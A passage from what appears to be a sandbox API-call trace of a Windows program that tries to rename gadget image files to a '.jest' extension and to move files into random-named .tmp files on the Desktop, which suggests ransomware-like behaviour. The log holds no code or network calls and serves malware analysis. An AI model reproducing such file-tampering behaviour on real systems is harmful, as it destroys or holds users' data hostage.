lpFileName="Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", lpFilePart=0x18e6e4*="Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp") returned 0x8f [0126.249] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ko_i4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x695f6f4b, cFileName="4la75sXEGwQW1H3BHKC_T-blntb_jPgNhWhu5trI8Gn0Uv8klgrBp7_7dCEajRdF2-_USlUMtP i894U9XKEk_i10fORWXezl.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.249] GetLastError () returned 0x2 [0126.249] GetLastError () returned 0x2 [0126.249] SetLastError (dwErrCode=0x2) [0126.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.249] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.249] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.250] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.250] GetLastError () returned 0x0 [0126.250] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.250] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.250] GetLastError () returned 0x0 [0126.250] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.250] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.250] GetTickCount () returned 0x115202e [0126.250] GetTickCount () returned 0x115202e [0126.251] GetTickCount () returned 0x115202e [0126.251] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.251] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.251] GetTickCount () returned 0x115202e [0126.251] IsWindowVisible (hWnd=0x30268) returned 0 [0126.251] Sleep (dwMilliseconds=0x0) [0126.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.251] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.251] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.252] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png.jest")) returned 0 [0126.252] GetLastError () returned 0x5 [0126.252] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹳湰g") returned 0x4d [0126.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.252] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹳湰g") returned 0x4d [0126.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=78, lpWideCharStr=0x1467bd4, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png") returned 78 [0126.252] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹳湰⹧敪瑳") returned 0x52 [0126.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.252] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥瑜慲彤⹳湰⹧敪瑳") returned 0x52 [0126.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=83, lpWideCharStr=0x14cf24c, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png.jest") returned 83 [0126.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", lpUsedDefaultChar=0x0) returned 78 [0126.252] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", lpFilePart=0x18e6d8*="trad_s.png") returned 0x4d [0126.252] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8fb3517, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8fb3517, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb5ad235c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x78, dwReserved1=0x0, cFileName="trad_s.png", cAlternateFileName="")) returned 0x143ce48 [0126.252] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.253] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.253] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x7b)) [0126.253] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x7b)) [0126.253] GetUserDefaultLCID () returned 0x409 [0126.253] VarBstrFromR4 (in: fltIn=0x47944510, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.13") returned 0x0 [0126.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="…") returned 1 [0126.253] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.253] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.254] GetTickCount () returned 0x115202e [0126.254] GetTickCount () returned 0x115202e [0126.254] GetTickCount () returned 0x115202e [0126.254] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.254] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.254] GetTickCount () returned 0x115202e [0126.254] IsWindowVisible (hWnd=0x30268) returned 0 [0126.254] Sleep (dwMilliseconds=0x0) [0126.255] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.255] GetFullPathNameA (in: lpFileName="ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", lpFilePart=0x18e708*="ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp") returned 0x8e [0126.255] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png", lpFilePart=0x18e708*="trad_s.png") returned 0x4d [0126.255] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zjs1u7t_lolaekjfn4bklaesintpnjsmr9aehly0kbamepghwz3ufspul_jqqarpkctg7g8m_3_ufs yi8c1p9z8rqhn2vyyle46.tmp")) returned 0 [0126.255] GetLastError () returned 0x5 [0126.255] GetLastError () returned 0x5 [0126.255] SetLastError (dwErrCode=0x5) [0126.256] GetLastError () returned 0x5 [0126.256] SetLastError (dwErrCode=0x5) [0126.256] GetLastError () returned 0x5 [0126.256] SetLastError (dwErrCode=0x5) [0126.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.256] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.256] GetFullPathNameA (in: lpFileName="ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", lpFilePart=0x18e6e4*="ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp") returned 0x8e [0126.256] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZjS1u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x31536a5a, cFileName="u7T_loLAekJfn4bkLAesINtpnjSmr9AEHlY0KbAMEpgHWZ3UfspuL_jQqARPkcTg7g8m_3_uFS yi8C1P9z8RqHn2vyyLE46.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.256] GetLastError () returned 0x2 [0126.256] GetLastError () returned 0x2 [0126.256] SetLastError (dwErrCode=0x2) [0126.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.257] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.257] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.257] GetLastError () returned 0x0 [0126.257] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.257] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.257] GetLastError () returned 0x0 [0126.257] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.258] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.258] GetLastError () returned 0x0 [0126.258] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.258] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.258] GetLastError () returned 0x0 [0126.258] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.258] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.259] GetTickCount () returned 0x115202e [0126.259] GetTickCount () returned 0x115202e [0126.259] GetTickCount () returned 0x115202e [0126.259] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.259] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.259] GetTickCount () returned 0x115202e [0126.259] IsWindowVisible (hWnd=0x30268) returned 0 [0126.259] Sleep (dwMilliseconds=0x0) [0126.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.260] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.260] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\drag.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\drag.png.jest")) returned 0 [0126.260] GetLastError () returned 0x5 [0126.260] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴牤条瀮杮") returned 0x42 [0126.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0126.260] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴牤条瀮杮") returned 0x42 [0126.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=67, lpWideCharStr=0x14cf144, cchWideChar=133 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png") returned 67 [0126.260] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴牤条瀮杮樮獥t") returned 0x47 [0126.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0126.261] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴牤条瀮杮樮獥t") returned 0x47 [0126.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=72, lpWideCharStr=0x14c2ea4, cchWideChar=143 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png.jest") returned 72 [0126.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", lpUsedDefaultChar=0x0) returned 67 [0126.261] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", lpFilePart=0x18e6d8*="drag.png") returned 0x42 [0126.261] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba48750b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba48750b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb79c415c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4f1c, dwReserved0=0x78, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 0x143ce48 [0126.261] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.261] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.262] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.262] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x8b)) [0126.262] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x8b)) [0126.262] GetUserDefaultLCID () returned 0x409 [0126.262] VarBstrFromR4 (in: fltIn=0x47944512, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.14") returned 0x0 [0126.262] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0126.262] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.263] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.263] GetTickCount () returned 0x115203e [0126.263] GetTickCount () returned 0x115203e [0126.263] GetTickCount () returned 0x115203e [0126.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.263] GetTickCount () returned 0x115203e [0126.264] IsWindowVisible (hWnd=0x30268) returned 0 [0126.264] Sleep (dwMilliseconds=0x0) [0126.264] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.264] GetFullPathNameA (in: lpFileName="u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp", lpFilePart=0x18e708*="u46v5GhHMP2CQ3jDSK8l03YLgV6kZ7QaXoXGOZAFfsdoNE7zNjSC5rvWh6bR5bPcVpeFegdUsc0e1d3miMMvtw9ULQ9 vFBgTBvw .tmp") returned 0x8f [0126.264] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png", lpFilePart=0x18e708*="drag.png") returned 0x42 [0126.264] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files (x86)\\windows 